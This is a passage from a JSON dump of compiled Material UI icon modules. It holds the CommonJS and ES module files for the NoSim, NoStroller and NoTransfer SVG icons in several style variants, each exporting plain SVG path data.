    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.09 4.44c-.39.39-.39 1.02 0 1.41l2.03 2.03-.12.13V19c0 1.1.9 2 2 2h10c.35 0 .68-.1.97-.26l1.17 1.17c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L4.5 4.44a.996.996 0 0 0-1.41 0M19 16.11V5c0-1.1-.9-2-2-2h-6.99L7.95 5.06z\"\n}), 'NoSimRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoSimRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.09 4.44c-.39.39-.39 1.02 0 1.41l2.03 2.03-.12.13V19c0 1.1.9 2 2 2h10c.35 0 .68-.1.97-.26l1.17 1.17c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L4.5 4.44a.996.996 0 0 0-1.41 0M19 16.11V5c0-1.1-.9-2-2-2h-6.99L7.95 5.06z\"\n}), 'NoSimRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoSimSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.79 3.74 2.38 5.15l2.74 2.74-.12.12V21h13.27l1.58 1.62 1.41-1.41zM19 16.11V3h-8.99L7.95 5.06z\"\n}), 'NoSimSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoSimSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.79 3.74 2.38 5.15l2.74 2.74-.12.12V21h13.27l1.58 1.62 1.41-1.41zM19 16.11V3h-8.99L7.95 5.06z\"\n}), 'NoSimSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoSimTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19h9.23L7 9.77z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.79 3.74 2.38 5.15l2.74 2.74-.12.12V19c0 1.1.9 2 2 2h10c.35 0 .68-.1.97-.26l1.88 1.88 1.41-1.41zM7 19V9.77L16.23 19z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.84 5 9.36 6.47 17 14.11V5z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.84 5H17v9.11l2 2V5c0-1.1-.9-2-2-2h-6.99L7.95 5.06l1.41 1.41z\"\n}, \"3\")], 'NoSimTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoSimTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19h9.23L7 9.77z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.79 3.74 2.38 5.15l2.74 2.74-.12.12V19c0 1.1.9 2 2 2h10c.35 0 .68-.1.97-.26l1.88 1.88 1.41-1.41zM7 19V9.77L16.23 19z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.84 5 9.36 6.47 17 14.11V5z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.84 5H17v9.11l2 2V5c0-1.1-.9-2-2-2h-6.99L7.95 5.06l1.41 1.41z\"\n}, \"3\")], 'NoSimTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoStroller.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 18c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2M18.65 3c-1.66 0-2.54 1.27-3.18 2.03l-3.5 4.11L17 14.17v-7.9c.58-.68.97-1.27 1.65-1.27.77 0 1.35.66 1.35 1.48V7h2v-.52C22 4.56 20.52 3 18.65 3m-7.98 7.67L2.81 2.81 1.39 4.22l7.97 7.97-2.66 3.12c-.55.65-.09 1.65.76 1.65h6.66l1.17 1.17C14.54 18.42 14 19.14 14 20c0 1.1.9 2 2 2 .86 0 1.58-.54 1.87-1.3l1.91 1.91 1.41-1.41-4.8-4.8zm2.8-5.64c.27-.32.58-.72.98-1.09-2.46-1.19-5.32-1.22-7.81-.13l4.25 4.25z\"\n}), 'NoStroller');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoStroller.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 18c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2M18.65 3c-1.66 0-2.54 1.27-3.18 2.03l-3.5 4.11L17 14.17v-7.9c.58-.68.97-1.27 1.65-1.27.77 0 1.35.66 1.35 1.48V7h2v-.52C22 4.56 20.52 3 18.65 3m-7.98 7.67L2.81 2.81 1.39 4.22l7.97 7.97-2.66 3.12c-.55.65-.09 1.65.76 1.65h6.66l1.17 1.17C14.54 18.42 14 19.14 14 20c0 1.1.9 2 2 2 .86 0 1.58-.54 1.87-1.3l1.91 1.91 1.41-1.41-4.8-4.8zm2.8-5.64c.27-.32.58-.72.98-1.09-2.46-1.19-5.32-1.22-7.81-.13l4.25 4.25z\"\n}), 'NoStroller');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoStrollerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m7-11.34v3.51l2 2v-7.9c.58-.68.97-1.27 1.65-1.27.77 0 1.35.66 1.35 1.48V7h2v-.52C22 4.56 20.52 3 18.65 3c-1.66 0-2.54 1.27-3.18 2.03l-3.5 4.11 1.42 1.42zm4.78 13.95-1.91-1.91c-.29.76-1.01 1.3-1.87 1.3-1.1 0-2-.9-2-2 0-.86.54-1.58 1.3-1.87L14.17 17H7.43c-.85 0-1.31-1-.76-1.65l2.69-3.16-7.97-7.97L2.8 2.81l7.86 7.86 1.42 1.42 9.11 9.11zM12.17 15l-1.39-1.39L9.6 15zM10 5c.29 0 .58.02.86.05L9.49 6.67l1.42 1.42L14.3 4.1C13.03 3.4 11.56 3 10 3c-1.23 0-2.4.25-3.47.7L8.1 5.27C8.71 5.1 9.35 5 10 5\"\n}), 'NoStrollerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoStrollerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m7-11.34v3.51l2 2v-7.9c.58-.68.97-1.27 1.65-1.27.77 0 1.35.66 1.35 1.48V7h2v-.52C22 4.56 20.52 3 18.65 3c-1.66 0-2.54 1.27-3.18 2.03l-3.5 4.11 1.42 1.42zm4.78 13.95-1.91-1.91c-.29.76-1.01 1.3-1.87 1.3-1.1 0-2-.9-2-2 0-.86.54-1.58 1.3-1.87L14.17 17H7.43c-.85 0-1.31-1-.76-1.65l2.69-3.16-7.97-7.97L2.8 2.81l7.86 7.86 1.42 1.42 9.11 9.11zM12.17 15l-1.39-1.39L9.6 15zM10 5c.29 0 .58.02.86.05L9.49 6.67l1.42 1.42L14.3 4.1C13.03 3.4 11.56 3 10 3c-1.23 0-2.4.25-3.47.7L8.1 5.27C8.71 5.1 9.35 5 10 5\"\n}), 'NoStrollerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoStrollerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m6.3-15.9C13.03 3.4 11.56 3 10 3c-1.23 0-2.39.26-3.46.71l4.37 4.37zm6.19 17.8c.39-.39.39-1.02 0-1.41l-9.82-9.82-7.16-7.16a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l7.26 7.26L6.7 15.3c-.55.65-.09 1.65.76 1.65h6.66l1.17 1.17c-.88.33-1.47 1.25-1.26 2.28.15.76.78 1.39 1.54 1.54 1.03.21 1.95-.38 2.28-1.26l1.2 1.2c.41.41 1.04.41 1.44.02M17 6.27c.58-.68.97-1.27 1.65-1.27s1.22.52 1.33 1.21c.1.45.5.79.98.79.55 0 1-.45 1-1 0-.06 0-.11-.01-.16v-.01C21.65 4.22 20.3 3 18.65 3c-1.66 0-2.54 1.27-3.18 2.03l-3.5 4.11L17 14.17z\"\n}), 'NoStrollerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoStrollerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m6.3-15.9C13.03 3.4 11.56 3 10 3c-1.23 0-2.39.26-3.46.71l4.37 4.37zm6.19 17.8c.39-.39.39-1.02 0-1.41l-9.82-9.82-7.16-7.16a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l7.26 7.26L6.7 15.3c-.55.65-.09 1.65.76 1.65h6.66l1.17 1.17c-.88.33-1.47 1.25-1.26 2.28.15.76.78 1.39 1.54 1.54 1.03.21 1.95-.38 2.28-1.26l1.2 1.2c.41.41 1.04.41 1.44.02M17 6.27c.58-.68.97-1.27 1.65-1.27s1.22.52 1.33 1.21c.1.45.5.79.98.79.55 0 1-.45 1-1 0-.06 0-.11-.01-.16v-.01C21.65 4.22 20.3 3 18.65 3c-1.66 0-2.54 1.27-3.18 2.03l-3.5 4.11L17 14.17z\"\n}), 'NoStrollerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoStrollerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.91 8.08 6.53 3.7C7.6 3.25 8.77 3 10 3c1.56 0 3.03.4 4.3 1.1zm10.28 13.11-4.78-4.78-5.75-5.75-7.85-7.85-1.42 1.41 7.97 7.97L5.27 17h8.9l1.13 1.13c-.88.33-1.47 1.25-1.26 2.28.15.76.78 1.39 1.54 1.54 1.03.21 1.95-.38 2.28-1.26l1.91 1.91zM6 18c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M17 6.27c.58-.68.97-1.27 1.65-1.27.77 0 1.35.66 1.35 1.48V7h2v-.52C22 4.56 20.52 3 18.65 3c-1.66 0-2.54 1.27-3.18 2.03l-3.5 4.11L17 14.17z\"\n}), 'NoStrollerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoStrollerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.91 8.08 6.53 3.7C7.6 3.25 8.77 3 10 3c1.56 0 3.03.4 4.3 1.1zm10.28 13.11-4.78-4.78-5.75-5.75-7.85-7.85-1.42 1.41 7.97 7.97L5.27 17h8.9l1.13 1.13c-.88.33-1.47 1.25-1.26 2.28.15.76.78 1.39 1.54 1.54 1.03.21 1.95-.38 2.28-1.26l1.91 1.91zM6 18c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M17 6.27c.58-.68.97-1.27 1.65-1.27.77 0 1.35.66 1.35 1.48V7h2v-.52C22 4.56 20.52 3 18.65 3c-1.66 0-2.54 1.27-3.18 2.03l-3.5 4.11L17 14.17z\"\n}), 'NoStrollerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoStrollerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.1 5.27C8.71 5.1 9.35 5 10 5c.29 0 .58.02.86.05L9.49 6.67zm6.9 6.9V8.66l-1.61 1.89zM12.17 15l-1.39-1.39L9.6 15z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m7-11.34v3.51l2 2v-7.9c.58-.68.97-1.27 1.65-1.27.77 0 1.35.66 1.35 1.48V7h2v-.52C22 4.56 20.52 3 18.65 3c-1.66 0-2.54 1.27-3.18 2.03l-3.5 4.11 1.42 1.42zm4.78 13.95-1.91-1.91c-.29.76-1.01 1.3-1.87 1.3-1.1 0-2-.9-2-2 0-.86.54-1.58 1.3-1.87L14.17 17H7.43c-.85 0-1.31-1-.76-1.65l2.69-3.16-7.97-7.97L2.8 2.81l7.86 7.86 1.42 1.42 9.11 9.11zM12.17 15l-1.39-1.39L9.6 15zM10 5c.29 0 .58.02.86.05L9.49 6.67l1.42 1.42L14.3 4.1C13.03 3.4 11.56 3 10 3c-1.23 0-2.4.25-3.47.7L8.1 5.27C8.71 5.1 9.35 5 10 5\"\n}, \"1\")], 'NoStrollerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoStrollerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.1 5.27C8.71 5.1 9.35 5 10 5c.29 0 .58.02.86.05L9.49 6.67zm6.9 6.9V8.66l-1.61 1.89zM12.17 15l-1.39-1.39L9.6 15z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m7-11.34v3.51l2 2v-7.9c.58-.68.97-1.27 1.65-1.27.77 0 1.35.66 1.35 1.48V7h2v-.52C22 4.56 20.52 3 18.65 3c-1.66 0-2.54 1.27-3.18 2.03l-3.5 4.11 1.42 1.42zm4.78 13.95-1.91-1.91c-.29.76-1.01 1.3-1.87 1.3-1.1 0-2-.9-2-2 0-.86.54-1.58 1.3-1.87L14.17 17H7.43c-.85 0-1.31-1-.76-1.65l2.69-3.16-7.97-7.97L2.8 2.81l7.86 7.86 1.42 1.42 9.11 9.11zM12.17 15l-1.39-1.39L9.6 15zM10 5c.29 0 .58.02.86.05L9.49 6.67l1.42 1.42L14.3 4.1C13.03 3.4 11.56 3 10 3c-1.23 0-2.4.25-3.47.7L8.1 5.27C8.71 5.1 9.35 5 10 5\"\n}, \"1\")], 'NoStrollerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoTransfer.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22 4 6.83V16c0 .88.39 1.67 1 2.22V20c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h8v1c0 .55.45 1 1 1h1c.05 0 .09-.02.14-.03l1.64 1.64zM7.5 17c-.83 0-1.5-.67-1.5-1.5S6.67 14 7.5 14s1.5.67 1.5 1.5S8.33 17 7.5 17M6 11V8.83L8.17 11zm2.83-5L5.78 2.95C7.24 2.16 9.48 2 12 2c4.42 0 8 .5 8 4v10c0 .35-.08.67-.19.98L13.83 11H18V6z\"\n}), 'NoTransfer');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoTransfer.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22 4 6.83V16c0 .88.39 1.67 1 2.22V20c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h8v1c0 .55.45 1 1 1h1c.05 0 .09-.02.14-.03l1.64 1.64zM7.5 17c-.83 0-1.5-.67-1.5-1.5S6.67 14 7.5 14s1.5.67 1.5 1.5S8.33 17 7.5 17M6 11V8.83L8.17 11zm2.83-5L5.78 2.95C7.24 2.16 9.48 2 12 2c4.42 0 8 .5 8 4v10c0 .35-.08.67-.19.98L13.83 11H18V6z\"\n}), 'NoTransfer');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoTransferOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 13c.83 0 1.5.67 1.5 1.5S9.33 16 8.5 16 7 15.33 7 14.5 7.67 13 8.5 13m11.28 9.61-1.64-1.64c-.05.01-.09.03-.14.03h-1c-.55 0-1-.45-1-1v-1H8v1c0 .55-.45 1-1 1H6c-.55 0-1-.45-1-1v-1.78c-.61-.55-1-1.34-1-2.22V6.83L1.39 4.22 2.8 2.81l18.38 18.38zM6 8.83V10h1.17zM14.17 17l-5-5H6v4c0 .37.21.62.34.73l.29.27zM12 4c3.69 0 5.11.46 5.66.99H7.82l2 2H18V10h-5.17l2 2H18v3.17l1.81 1.81c.11-.31.19-.63.19-.98V6c0-3.5-3.58-4-8-4-2.52 0-4.76.16-6.22.95l1.53 1.53C8.17 4.2 9.6 4 12 4\"\n}), 'NoTransferOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoTransferOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 13c.83 0 1.5.67 1.5 1.5S9.33 16 8.5 16 7 15.33 7 14.5 7.67 13 8.5 13m11.28 9.61-1.64-1.64c-.05.01-.09.03-.14.03h-1c-.55 0-1-.45-1-1v-1H8v1c0 .55-.45 1-1 1H6c-.55 0-1-.45-1-1v-1.78c-.61-.55-1-1.34-1-2.22V6.83L1.39 4.22 2.8 2.81l18.38 18.38zM6 8.83V10h1.17zM14.17 17l-5-5H6v4c0 .37.21.62.34.73l.29.27zM12 4c3.69 0 5.11.46 5.66.99H7.82l2 2H18V10h-5.17l2 2H18v3.17l1.81 1.81c.11-.31.19-.63.19-.98V6c0-3.5-3.58-4-8-4-2.52 0-4.76.16-6.22.95l1.53 1.53C8.17 4.2 9.6 4 12 4\"\n}), 'NoTransferOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoTransferRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.78 2.95C7.24 2.16 9.48 2 12 2c4.42 0 8 .5 8 4v10c0 .35-.08.67-.19.98L13.83 11H18V6H8.83zM20.49 21.9c-.39.39-1.02.39-1.41 0l-1.01-1.01c-.18.07-.37.11-.57.11-.83 0-1.5-.68-1.5-1.5V19H8v.5c0 .83-.67 1.5-1.5 1.5S5 20.33 5 19.5v-1.28c-.61-.55-1-1.34-1-2.22V6.83l-1.9-1.9a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l16.97 16.97c.4.39.4 1.02.01 1.41M9 15.5c0-.83-.67-1.5-1.5-1.5S6 14.67 6 15.5 6.67 17 7.5 17 9 16.33 9 15.5M8.17 11 6 8.83V11z\"\n}), 'NoTransferRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoTransferRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.78 2.95C7.24 2.16 9.48 2 12 2c4.42 0 8 .5 8 4v10c0 .35-.08.67-.19.98L13.83 11H18V6H8.83zM20.49 21.9c-.39.39-1.02.39-1.41 0l-1.01-1.01c-.18.07-.37.11-.57.11-.83 0-1.5-.68-1.5-1.5V19H8v.5c0 .83-.67 1.5-1.5 1.5S5 20.33 5 19.5v-1.28c-.61-.55-1-1.34-1-2.22V6.83l-1.9-1.9a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l16.97 16.97c.4.39.4 1.02.01 1.41M9 15.5c0-.83-.67-1.5-1.5-1.5S6 14.67 6 15.5 6.67 17 7.5 17 9 16.33 9 15.5M8.17 11 6 8.83V11z\"\n}), 'NoTransferRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoTransferSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.78 2.95C7.24 2.16 9.48 2 12 2c4.42 0 8 .5 8 4v10c0 .35-.08.67-.19.98L13.83 11H18V6H8.83zm14 19.66L18.17 21H16v-2H8v2H5v-2.78c-.61-.55-1-1.34-1-2.22V6.83L1.39 4.22 2.8 2.81l18.38 18.38zM9 15.5c0-.83-.67-1.5-1.5-1.5S6 14.67 6 15.5 6.67 17 7.5 17 9 16.33 9 15.5M8.17 11 6 8.83V11z\"\n}), 'NoTransferSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoTransferSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.78 2.95C7.24 2.16 9.48 2 12 2c4.42 0 8 .5 8 4v10c0 .35-.08.67-.19.98L13.83 11H18V6H8.83zm14 19.66L18.17 21H16v-2H8v2H5v-2.78c-.61-.55-1-1.34-1-2.22V6.83L1.39 4.22 2.8 2.81l18.38 18.38zM9 15.5c0-.83-.67-1.5-1.5-1.5S6 14.67 6 15.5 6.67 17 7.5 17 9 16.33 9 15.5M8.17 11 6 8.83V11z\"\n}), 'NoTransferSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoTransferTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.83 12H18v3.17zm-5.66 0 5 5H6.63l-.29-.27C6.21 16.62 6 16.37 6 16v-4zm.83 2.5c0-.83-.67-1.5-1.5-1.5S7 13.67 7 14.5 7.67 16 8.5 16s1.5-.67 1.5-1.5M7.82 4.99h9.83C17.11 4.46 15.69 4 12 4c-2.4 0-3.83.2-4.69.48z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 13c.83 0 1.5.67 1.5 1.5S9.33 16 8.5 16 7 15.33 7 14.5 7.67 13 8.5 13M7.31 4.48C8.17 4.2 9.6 4 12 4c3.69 0 5.11.46 5.66.99H7.82l2 2H18V10h-5.17l2 2H18v3.17l1.81 1.81c.11-.31.19-.63.19-.98V6c0-3.5-3.58-4-8-4-2.52 0-4.76.16-6.22.95zm12.47 18.13-1.64-1.64c-.05.01-.09.03-.14.03h-1c-.55 0-1-.45-1-1v-1H8v1c0 .55-.45 1-1 1H6c-.55 0-1-.45-1-1v-1.78c-.61-.55-1-1.34-1-2.22V6.83L1.39 4.22 2.8 2.81l18.38 18.38zM6 8.83V10h1.17zM14.17 17l-5-5H6v4c0 .37.21.62.34.73l.29.27z\"\n}, \"1\")], 'NoTransferTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoTransferTwoTone.mjs",
